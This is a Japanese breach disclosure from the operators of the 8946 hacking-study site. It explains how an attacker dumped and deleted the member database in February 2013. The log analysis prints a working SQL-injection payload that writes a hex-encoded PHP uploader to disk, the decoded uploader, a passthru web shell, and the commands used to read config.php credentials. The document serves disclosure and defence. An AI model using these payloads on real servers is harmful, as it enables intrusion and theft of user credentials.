この度私どもが運営するハッキング学習サイト8946にて只ならぬご心配とご迷惑をおかけしました事を心よりお詫び申し上げます。また、会員様におかれましては、個人情報が流出するという極めて危険な目にあわせました事お詫びのしようも無いほどに申し訳なく思っております。改めまして本当に申し訳ございませんでした。この被害に遭われた方々に関しましては後日何らかの誠意を持って対応させて頂きますので今しばらくのお時間を頂けますよう重ねてお願い申し上げます。
さて、クラッキング被害から1日が経過しまして被害の全貌が明らかになりましたのでご報告と、また侵入方法と改善済み事項の説明と移らせて頂きます。
1.被害の全貌について
今回の事件は2013年2月13日の未明、午前2時16分に起こりました。後述しますが、その後のログ解析により2月12日の深夜午後11時頃より攻撃が始まったものと考えられます。
その攻撃により、会員様のメールアドレス、ログインID及びログインPasswordが全て抜き取られデータベースを抹消されました。
またその後、攻撃を行なった犯人と思われる人物より会員様宛てにランダムにanti8946@yahoo.comというメールアドレスから、
件名:Your password were leaked from 8946.
本文:Hi, Kiddies!
>
> We sucked fuc**ng database from 8946 and dropped it.
> Here is a present for you.
という情報と抜き取った会員様のメールアドレス一覧が送りつけられました。(一部違う表記の会員様もいらっしゃいます)
(画像提供Kusano氏)
その後、15時に犯人と思われる人物から『私が犯人です。』との犯行声明が届きました。
xd7awdsl@tormail.orgから送信されておりTor経由である事がわかりました。
しかしながら、安易に断定する訳にもいかず複数回の接触の結果、犯人しか知り得ない情報や断片的ではありましたが、侵入経路の自供内容の整合性など総合的に判断しまして、この人物を犯人と断定するに至りました。
さて、問題の手口ですが、
・8946で利用しているDB(PostgreSQL)に第三者が接続できる
・Clipbucketに脆弱性が残っている(DBはMysql)
この二つが発端となり、データベース奪取へと繋がったようです。
具体的には、
Clipbucketの脆弱性->MySQL->特定のディレクトリにスクリプト展開->ファイルのリストアップ->bbsのconfig.phpからユーザー名・パスワードを取得->スクリプトの自己削除->PostgreSQLに接続->データーベースのダンプと削除という過程を踏んだと結論づけました。
2.侵入方法検証・解析
それでは私共が結論づけた根拠を示す為にも実際に検証して参ります。
まず、ログの解析を行いました。
被害が起きる1日前の、2013年2月12日22:23あたりに怪しいログを発見します。
(抜粋)
87.195.253.3 - - [12/Feb/2013:22:23:11 +0900] "GET /XXXX.php?xxx=-9268%27%20UNION%20ALL%20SELECT%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f746573742f75706c6f61643e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a%2...<省略>...%20INTO%20DUMPFILE%20%27%2Fvar%2Fwww%2Fxxxxx%2Fxxxx.php%27%23
まず、IPアドレス「87.195.253.3」ですが、Torを利用したIP偽造とわかりました。
次に、 HEXコンバートを行いました。
すると、以下のようなPHPプログラムだと判明。
<?php if (isset($_REQUEST["upload"])){ $dir=$_REQUEST["uploadDir"]; if (phpversion()<'4.1.0'){ $file=$HTTP_POST_FILES["file"]["name"]; @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die(); }else{ $file=$_FILES["file"]["name"]; @move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die(); } @chmod($dir."/".$file,0755); echo "File uploaded"; }else{ ?> <form action=".$_SERVER[" enctype="multipart/form-data" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000" /> <b>sqlmap file uploader</b> <input type="file" name="file" /> to directory: <input type="text" name="uploadDir" value="/var/www/html-hackerschool/files/temp" /> <input type="submit" name="upload" value="upload" /></form> <?php } ?>
分かりやすいように整形していますが、
ソースをみると、ファイルをアップロードするphpプログラムのようです。
phpのプログラムをHEX変換し、データを取り出しているSQL文にUNION SELECTで結合を行い、ログの最後、INTO DUMPFILE文で、このPHPファイルを特定のフォルダに出力しています。
上記コードを実行して、出力されたphpファイルにアクセスしてみます。
つぎに、ログから、アップロードされたファイルは、phpのプログラムで、passthru($_GET["cmd"]);という1行のスクリプトだと推測しました。
これは、Unix コマンドか実行できるphpの関数です。
手元で作成して、このスクリプトファイルをアップロードしてみます。
ファイルが正常にアップロードされました。
次に、そのアップしたファイルにアクセスし、ログに残されているパラメーターを付けて検証していきます。
1.cmd.php?cmd=uname -a
稼働しているwebサーバーの情報を表示するコマンドです。
2.cmd.php?cmd= find /var/www/hackerschool.jp/hack/ -name *config*
「config」というファイルを検索しています。
3.cmd.php?cmd= cat /var/www/hackerschool.jp/XXXXXXX/config.php
catコマンドで、中身を表示しています。
結果、データバースに接続するための情報が表示されました。
そこから、犯人は、その接続情報をつかって、外部からデータベースに接続し、情報を抜き取り、その後、データベースを削除したと思われます。
3.修正内容・復旧作業
まず、PostgreSQLに関して、接続できるIPを固定し、外部から接続できないよう設定変更を行いました。
該当ファイル・フォルダに対してパーミッションをより限定的なものに変更いたしました。
動画サイトに関しては、すべての脆弱性が確認・修正できるまで、一時的に閉鎖いたしました。
掲示板も一時閉鎖いたしました。
次に、バックアップ作業ですが、8946で利用している会員情報や問題情報を格納しているデータベース自体が抹消されていることと、悪意あるすべてのファイルが確認できなかったため、サーバ丸ごと、リストアするという形で対応しました。
6時間前のバックアップデータはあったのですが、すでに攻撃された後のバックアップだったため、念のため、ログを確認し、数日前のバックアップにて、リストア作業を行いました。
また、犯人確保についてですが全力であたると御約束致します。
私達の長年に蓄積されたノウハウと独自のハッカーネットワークを駆使し犯人を追いつめます。
遠隔操作事件でも御承知のように今回の事件もTorを使用しており通常の追跡は困難を極めますが、張り巡らされた網に犯人がかかる時間はそう遠くないと考えています。懸賞金制度(50万円)も設けていますので全力で確保を行ない、様々な調査をへて司法機関への引き渡しを考えております。
4.発見
これらの一連の攻撃を受けた事により、改めて検証していたのですが、SF.netで配布されている最新バージョン、clipbucket-2.6-r738.zipにも脆弱性がある事が判明しました。
修正されていないようですので、絶対に使用しないでください!
以上で、今回の事件につきましてのご報告とさせて頂きます。
この度は誠に申し訳ございませんでした。
今後、この様な事がない様に万全の態勢を組むと共に、セキュリティ界の発展の為、安全なインターネット社会構築の為に必死に頑張って参ります。
すぐに結果が伴う事は出来ないかもしれませんが、新規一転真面目に努力していきますので、何卒温かく見守って頂ければ幸いに存じます。
最後になりますが、私共の緊急時に、平日の御忙しい時間帯であるにも関わらず様々な激励のコメントや調査協力をして頂いた方々に心よりお礼申し上げますと共に、このご恩は必ずお返し致します事をお誓い致します。
有難うございました。
whitehackerz養成学院 校長 田口雅章及び従業員一同